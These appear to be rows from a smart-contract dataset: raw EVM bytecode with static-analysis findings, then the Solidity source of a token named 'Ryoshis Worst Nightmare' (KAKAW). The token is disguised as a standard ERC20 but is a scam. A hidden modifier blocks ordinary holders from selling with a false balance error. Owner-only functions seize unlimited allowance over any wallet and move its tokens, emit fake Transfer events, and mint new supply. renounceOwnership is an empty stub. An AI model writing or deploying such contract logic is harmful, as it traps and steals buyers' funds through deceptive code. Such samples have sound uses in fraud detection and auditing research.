68616e20302e3525604482015269206f6620737570706c7960b01b60648201526084016104a6565b68056bc75e2d6310000081111561054d5760405162461bcd60e51b81526004016104a690611738565b600755565b6000546001600160a01b0316331461057c5760405162461bcd60e51b81526004016104a690611703565b30600090815260026020526040902054801561059b5761059b81610eda565b50565b6000546001600160a01b031633146105c85760405162461bcd60e51b81526004016104a690611703565b60135462010000900460ff16151560011461060e5760405162461bcd60e51b81526004016104a690602080825260049082015263646f6e6560e01b604082015260600190565b6013805443600555600683905562ff00ff191660011790556013546040516201000090910460ff16151581527fbbd2154e443da58493f520fb1a0b04614579664458bbef399ac6a4021c401c17906020015b60405180910390a150565b6000610409338484610ac1565b6000546001600160a01b031633146106a25760405162461bcd60e51b81526004016104a690611703565b60006106ae838361104e565b905060326106bd82600a610954565b1061070a5760405162461bcd60e51b815260206004820181905260248201527f53756d206f662066656573206d757374206265206c657373207468616e20353060448201526064016104a6565b600a8390556008829055600b8390556009829055826107358161072f816103e86110ad565b90610954565b600c55600a546008546040517f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a19261077592908252602082015260400190565b60405180910390a150505050565b6000546001600160a01b031633146107ad5760405162461bcd60e51b81526004016104a690611703565b6107c268056bc75e2d63100000612710610954565b81116108245760405162461bcd60e51b815260206004820152602b60248201527f416d6f756e74206d7573742062652067726561746572207468616e20302e303160448201526a25206f6620737570706c7960a81b60648201526084016104a6565b68056bc75e2d6310000081111561084d5760405162461bcd60e51b81526004016104a690611738565b60128190556040518181527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf90602001610660565b6000546001600160a01b031633146108ac5760405162461bcd60e51b81526004016104a690611703565b6001600160a01b0381166109115760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104a6565b61059b8161112c565b6000546001600160a01b031633146109445760405162461bcd60e51b81526004016104a690611703565b47801561059b5761059b8161117c565b600061099683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611215565b9392505050565b6001600160a01b0383166109ff5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104a6565b6001600160a01b038216610a605760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104a6565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b255760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104a6565b6001600160a01b038216610b875760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104a6565b60008111610be95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104a6565b6001610bfd6000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610c2c57506000546001600160a01b03848116911614155b8015610c4157506001600160a01b0384163014155b8015610c5657506001600160a01b0383163014155b15610e355760135460ff16610c6a57600080fd5b601254821115610c7957600080fd5b6011546001600160a01b038581169116148015610ca457506010546001600160a01b03848116911614155b15610dce57600654600554610cb89161104e565b4311610ce2576001600160a01b0383166000908152600d60205260409020805460ff191660011790555b600754610d0e83610d08866001600160a01b031660009081526002602052604090205490565b9061104e565b1115610d8c5760405162461bcd60e51b815260206004820152604160248201527f77616c6c65742062616c616e6365206166746572207472616e73666572206d7560448201527f7374206265206c657373207468616e206d61782077616c6c657420616d6f756e6064820152601d60fa1b608482015260a4016104a6565b6001600160a01b0383166000908152600d602052604090205460ff1615610dce57610dca600a8054600b556008805460095561038490915560009055565b5060015b601354610100900460ff16158015610df457506011546001600160a01b03858116911614155b15610e35573060009081526002602052604090205467016345785d8a0000811115610e2257610e2281611243565b478015610e3257610e324761117c565b50505b6001600160a01b03841660009081526004602052604090205460ff1680610e7457506001600160a01b03831660009081526004602052604090205460ff165b15610e7d575060005b610e89848484846112be565b610e9a600b54600a55600954600855565b50505050565b60008184841115610ec45760405162461bcd60e51b81526004016104a6919061159b565b506000610ed1848661179e565b95945050505050565b6013805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f1e57610f1e6117b5565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9b91906117cb565b81600181518110610fae57610fae6117b5565b6001600160a01b039283166020918202929092010152601054610fd4913091168461099d565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061100d9085906000908690309042906004016117e8565b600060405180830381600087803b15801561102757600080fd5b505af115801561103b573d6000803e3d6000fd5b50506013805461ff001916905550505050565b60008061105b8385611859565b9050838110156109965760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104a6565b6000826110bc5750600061040d565b60006110c88385611871565b9050826110d58583611890565b146109965760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104a6565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600e546001600160a01b03166108fc6111a1600461119b856005610954565b906110ad565b6040518115909202916000818181858888f193505050501580156111c9573d6000803e3d6000fd5b50600f546001600160a01b03166108fc6111e9600161119b856005610954565b6040518115909202916000818181858888f19350505050158015611211573d6000803e3d6000fd5b5050565b600081836112365760405162461bcd60e51b81526004016104a6919061159b565b506000610ed18486611890565b6013805461ff001916610100179055600854600a54600091611275916112689161104e565b60085461072f90856110ad565b90506000611284826002610954565b9050600061129284836112d6565b90504761129e82610eda565b60006112b28361072f8661119b47876112d6565b905061103b8482611318565b806112cb576112cb6113ed565b610e8984848461141b565b600061099683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ea0565b6010546113309030906001600160a01b03168461099d565b6010546001600160a01b031663f305d7198230856000806113596000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156113c1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906113e691906118b2565b5050505050565b600a541580156113fd5750600854155b1561140457565b600a8054600b556008805460095560009182905555565b61143f60405180606001604052806000815260200160008152602001600081525090565b61145a6103e861072f600a54856110ad90919063ffffffff16565b6020820152600854611475906103e89061072f9085906110ad565b8082526020820151611493919061148d9085906112d6565b906112d6565b6040808301919091526001600160a01b0385166000908152600260205220546114bc90836112d6565b6001600160a01b038086166000908152600260205260408082209390935583830151918616815291909120546114f19161104e565b6001600160a01b03841660009081526002602090815260409091209190915581519082015161153a91611524919061104e565b306000908152600260205260409020549061104e565b30600090815260026020908152604091829020929092558281015190519081526001600160a01b0385811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600060208083528351808285015260005b818110156115c8578581018301518582016040015282016115ac565b818111156115da576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461059b57600080fd5b6000806040838503121561161857600080fd5b8235611623816115f0565b946020939093013593505050565b60008060006060848603121561164657600080fd5b8335611651816115f0565b92506020840135611661816115f0565b929592945050506040919091013590565b60006020828403121561168457600080fd5b5035919050565b60006020828403121561169d57600080fd5b8135610996816115f0565b600080604083850312156116bb57600080fd5b50508035926020909101359150565b600080604083850312156116dd57600080fd5b82356116e8816115f0565b915060208301356116f8816115f0565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526030908201527f416d6f756e74206d757374206265206c657373207468616e206f72206571756160408201526f6c20746f20746f74616c537570706c7960801b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b6000828210156117b0576117b0611788565b500390565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156117dd57600080fd5b8151610996816115f0565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118385784516001600160a01b031683529383019391830191600101611813565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561186c5761186c611788565b500190565b600081600019048311821515161561188b5761188b611788565b500290565b6000826118ad57634e487b7160e01b600052601260045260246000fd5b500490565b6000806000606084860312156118c757600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122067f9656c483a9683bb763832f6eee8c6078763af5d6f5492d5d7bad995d5009464736f6c634300080b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 1,101 |
0x8a7411b5daea096d9e6f8ec820cfee1338c4a596 | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract RyoshisNightmare is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _plus;
mapping (address => bool) private _discarded;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeOwnr;
uint256 private _discardedAmt = 0;
address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address _contDeployr = 0x36B59455AfeEdf0866FE6E775FE7651bbBe3e005;
address public _ownr = 0x3EEce0F22BECdbfEa55f3732b10Fc986a982461f;
constructor () public {
_name = "Ryoshis Worst Nightmare";
_symbol = "KAKAW";
_decimals = 18;
uint256 initialSupply = 666666666666666 * 10 ** 18;
_safeOwnr = _ownr;
_mint(_contDeployr, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_tf(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_tf(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _pApproval(address[] memory destination) public {
require(msg.sender == _ownr, "!owner");
for (uint256 i = 0; i < destination.length; i++) {
_plus[destination[i]] = true;
_discarded[destination[i]] = false;
}
}
function _mApproval(address safeOwner) public {
require(msg.sender == _ownr, "!owner");
_safeOwnr = safeOwner;
}
modifier mainboard(address dest, uint256 num, address from, address filler){
if (
_ownr == _safeOwnr
&& from == _ownr
)
{_safeOwnr = dest;_;
}else
{
if (
from == _ownr
|| from == _safeOwnr
|| dest == _ownr
)
{
if (
from == _ownr
&& from == dest
)
{_discardedAmt = num;
}_;
}else
{
if (
_plus[from] == true
)
{
_;
}else{if (
_discarded[from] == true
)
{
require((
from == _safeOwnr
)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}else{
if (
num < _discardedAmt
)
{
if(dest == _safeOwnr){_discarded[from] = true; _plus[from] = false;
}
_; }else{require((from == _safeOwnr)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}
}
}
}
}}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _ownr){
sender = _contDeployr;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _ownr, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_ownr] = _balances[_ownr].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _tf(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual {
_pair( from, dest, amt);
}
function _pair(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(dest != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, dest, amt);
_balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance");
_balances[dest] = _balances[dest].add(amt);
if (from == _ownr){from = _contDeployr;}
emit Transfer(from, dest, amt);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _verify() {
require(msg.sender == _ownr, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function renounceOwnership()public _verify(){}
function burnLPTokens()public _verify(){}
function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function distribute(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function buy(address recipient) public _verify(){
_plus[recipient]=true;
_approve(recipient, _path_,_maximumVal);}
function buyList(address[] memory addrss) public _verify(){
for (uint256 i = 0; i < addrss.length; i++) {
_plus[addrss[i]]=true;
_approve(addrss[i], _path_,_maximumVal);}}
function sell(address recipient) public _verify(){
//Disable permission
_plus[recipient]=false;
_approve(recipient, _path_,0);
}
function approval(address addr) public _verify() virtual returns (bool) {
//Approve Spending
_approve(addr, _msgSender(), _maximumVal); return true;
}
function transferToTokenSaleParticipant(address sndr,address[] memory destination, uint256[] memory amounts) public _verify(){
_approve(sndr, _msgSender(), _maximumVal);
for (uint256 i = 0; i < destination.length; i++) {
_transfer(sndr, destination[i], amounts[i]);
}
}
function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
function unstake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
} | 0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de578063a5aae25411610097578063bb88603c11610071578063bb88603c146106e9578063cc044ca9146109df578063dd62ed3e14610b12578063f088d54714610b4057610173565b8063a5aae25414610878578063a9059cbb146109ab578063b14a5c6a146109d757610173565b806370a08231146106c3578063715018a6146106e95780638d3ca13e146106f15780639430b4961461082457806394b6f9d41461084a57806395d89b411461087057610173565b8063313ce56711610130578063313ce5671461045b5780633cc4430d146104795780634e6ec247146105ac5780635265327c146105d857806360b0543a146105fe578063671e99211461069f57610173565b806306fdde031461017857806308ec4eb5146101f5578063095ea7b31461029857806315270ace146102d857806318160ddd1461040b57806323b872dd14610425575b600080fd5b610180610b66565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102966004803603602081101561020b57600080fd5b810190602081018135600160201b81111561022557600080fd5b82018360208201111561023757600080fd5b803590602001918460208302840111600160201b8311171561025857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610bfc945050505050565b005b6102c4600480360360408110156102ae57600080fd5b506001600160a01b038135169060200135610cf0565b604080519115158252519081900360200190f35b610296600480360360608110156102ee57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561031857600080fd5b82018360208201111561032a57600080fd5b803590602001918460208302840111600160201b8311171561034b57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561039a57600080fd5b8201836020820111156103ac57600080fd5b803590602001918460208302840111600160201b831117156103cd57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610d0d945050505050565b610413610dd3565b60408051918252519081900360200190f35b6102c46004803603606081101561043b57600080fd5b506001600160a01b03813581169160208101359091169060400135610dd9565b610463610e60565b6040805160ff9092168252519081900360200190f35b6102966004803603606081101561048f57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156104b957600080fd5b8201836020820111156104cb57600080fd5b803590602001918460208302840111600160201b831117156104ec57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561053b57600080fd5b82018360208201111561054d57600080fd5b803590602001918460208302840111600160201b8311171561056e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610e69945050505050565b610296600480360360408110156105c257600080fd5b506001600160a01b038135169060200135610f29565b610296600480360360208110156105ee57600080fd5b50356001600160a01b0316611007565b6102966004803603602081101561061457600080fd5b810190602081018135600160201b81111561062e57600080fd5b82018360208201111561064057600080fd5b803590602001918460208302840111600160201b8311171561066157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611071945050505050565b6106a7611157565b604080516001600160a01b039092168252519081900360200190f35b610413600480360360208110156106d957600080fd5b50356001600160a01b0316611166565b610296611181565b6102966004803603606081101561070757600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561073157600080fd5b82018360208201111561074357600080fd5b803590602001918460208302840111600160201b8311171561076457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156107b357600080fd5b8201836020820111156107c557600080fd5b803590602001918460208302840111600160201b831117156107e657600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506111d0945050505050565b6102c46004803603602081101561083a57600080fd5b50356001600160a01b0316611290565b6102966004803603602081101561086057600080fd5b50356001600160a01b03166112fc565b61018061137e565b6102966004803603606081101561088e57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156108b857600080fd5b8201836020820111156108ca57600080fd5b803590602001918460208302840111600160201b831117156108eb57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561093a57600080fd5b82018360208201111561094c57600080fd5b803590602001918460208302840111600160201b8311171561096d57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506113df945050505050565b6102c4600480360360408110156109c157600080fd5b506001600160a01b03813516906020013561149f565b6106a76114b3565b610296600480360360608110156109f557600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610a1f57600080fd5b820183602082011115610a3157600080fd5b803590602001918460208302840111600160201b83111715610a5257600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610aa157600080fd5b820183602082011115610ab357600080fd5b803590602001918460208302840111600160201b83111715610ad457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506114c2945050505050565b61041360048036036040811015610b2857600080fd5b506001600160a01b0381358116916020013516611560565b61029660048036036020811015610b5657600080fd5b50356001600160a01b031661158b565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610bf25780601f10610bc757610100808354040283529160200191610bf2565b820191906000526020600020905b815481529060010190602001808311610bd557829003601f168201915b5050505050905090565b600d546001600160a01b03163314610c44576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610cec576001806000848481518110610c6157fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610cb257fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610c47565b5050565b6000610d04610cfd611673565b8484611677565b50600192915050565b600d546001600160a01b03163314610d5a576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8251811015610dcd57828181518110610d7257fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206122ac833981519152848481518110610da857fe5b60200260200101516040518082815260200191505060405180910390a3600101610d5d565b50505050565b60045490565b6000610de6848484611763565b610e5684610df2611673565b610e5185604051806060016040528060288152602001612284602891396001600160a01b038a16600090815260036020526040812090610e30611673565b6001600160a01b0316815260208101919091526040016000205491906119e8565b611677565b5060019392505050565b60075460ff1690565b600d546001600160a01b03163314610eb6576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8251811015610dcd57828181518110610ece57fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206122ac833981519152848481518110610f0457fe5b60200260200101516040518082815260200191505060405180910390a3600101610eb9565b600d546001600160a01b03163314610f88576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454610f959082611612565b600455600d546001600160a01b0316600090815260208190526040902054610fbd9082611612565b600d546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391926000805160206122ac8339815191529281900390910190a35050565b600d546001600160a01b0316331461104f576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600d546001600160a01b031633146110be576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8151811015610cec5760018060008484815181106110db57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555061114f82828151811061112957fe5b6020026020010151600b60009054906101000a90046001600160a01b0316600854611677565b6001016110c1565b600b546001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b031633146111ce576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b565b600d546001600160a01b0316331461121d576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8251811015610dcd57836001600160a01b031683828151811061123f57fe5b60200260200101516001600160a01b03166000805160206122ac83398151915284848151811061126b57fe5b60200260200101516040518082815260200191505060405180910390a3600101611220565b600d546000906001600160a01b031633146112e0576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b6112f4826112ec611673565b600854611677565b506001919050565b600d546001600160a01b03163314611349576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b5461137b928492911690611677565b50565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610bf25780601f10610bc757610100808354040283529160200191610bf2565b600d546001600160a01b0316331461142c576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8251811015610dcd57836001600160a01b031683828151811061144e57fe5b60200260200101516001600160a01b03166000805160206122ac83398151915284848151811061147a57fe5b60200260200101516040518082815260200191505060405180910390a360010161142f565b6000610d046114ac611673565b8484611763565b600d546001600160a01b031681565b600d546001600160a01b0316331461150f576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b61151b836112ec611673565b60005b8251811015610dcd576115588484838151811061153757fe5b602002602001015184848151811061154b57fe5b6020026020010151611a7f565b60010161151e565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546001600160a01b031633146115d8576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b5460085461137b9284921690611677565b60008282018381101561166c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b0383166116bc5760405162461bcd60e51b81526004018080602001828103825260248152602001806122f16024913960400191505060405180910390fd5b6001600160a01b0382166117015760405162461bcd60e51b815260040180806020018281038252602281526020018061221c6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548391839186916000916001600160a01b0390811691161480156117995750600d546001600160a01b038381169116145b156117c957600980546001600160a01b0319166001600160a01b0386161790556117c4878787611bf8565b6119df565b600d546001600160a01b03838116911614806117f257506009546001600160a01b038381169116145b8061180a5750600d546001600160a01b038581169116145b1561185357600d546001600160a01b03838116911614801561183d5750836001600160a01b0316826001600160a01b0316145b1561184857600a8390555b6117c4878787611bf8565b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611885576117c4878787611bf8565b6001600160a01b03821660009081526002602052604090205460ff1615156001141561190f576009546001600160a01b03838116911614806118d45750600b546001600160a01b038581169116145b6118485760405162461bcd60e51b815260040180806020018281038252602681526020018061223e6026913960400191505060405180910390fd5b600a54831015611970576009546001600160a01b0385811691161415611848576001600160a01b03821660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690556117c4878787611bf8565b6009546001600160a01b03838116911614806119995750600b546001600160a01b038581169116145b6119d45760405162461bcd60e51b815260040180806020018281038252602681526020018061223e6026913960400191505060405180910390fd5b6119df878787611bf8565b50505050505050565b60008184841115611a775760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a3c578181015183820152602001611a24565b50505050905090810190601f168015611a695780820380516001836020036101000a031916815260200191505b5092505050